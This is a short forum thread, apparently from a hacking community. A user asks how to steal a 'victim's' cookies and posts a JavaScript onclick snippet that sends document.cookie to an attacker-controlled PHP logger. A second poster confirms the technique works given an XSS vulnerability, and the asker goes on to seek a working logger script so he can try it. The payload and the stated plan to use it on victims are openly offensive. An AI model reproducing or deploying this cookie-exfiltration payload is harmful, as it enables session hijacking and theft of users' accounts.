[Anonymous]

Hey there guys! Well as you might know, I have been learning HTML, and Javascript. Well, here's the problem, I can understand it, but can't write it. At least I haven't tried yet. So, I was wondering if its possible to have a script that leads to a cookie logger script and grabs the cookie from the site the victim has just come from.

Ex:

Code:

<a href="#" onclick="document.location='http://yoursite.com/whateveryouwant.php?cookie=' +escape(document.cookie);"><Click Me></a></script>

I need to know why and how something like the code above could and couldn't work.

Why I believe this wouldn't work is because you need to get an XSS vuln, and get the code within the the page to allow the cookie stealing script to share (And... SQUIRREL! ...lost my train of thought. =S). I'm sure most of you will understand what I am trying to say.

[w00t]

Yes, the code technically works, you are correct in that you will need an XSS vulnerability to make it feasible.

[Anonymous]

So in short, there's still no way that you can't just make a clickable link to steal there cookie from the site they just came from.

[w00t]

Yes, you cannot just make a link to steal a cookie. For instance, I couldn't steal your cookies using [url] tags.

[Anonymous]

Yes, you cannot just make a link to steal a cookie. For instance, I couldn't steal your cookies using [url] tags

Lol thank you, but I cant even find a good working script so I can start trying it...

[w00t]

As in, you can't find a php script that would work, or you can't find a XSS vuln?

[Anonymous]

I can't seem to find a script that works.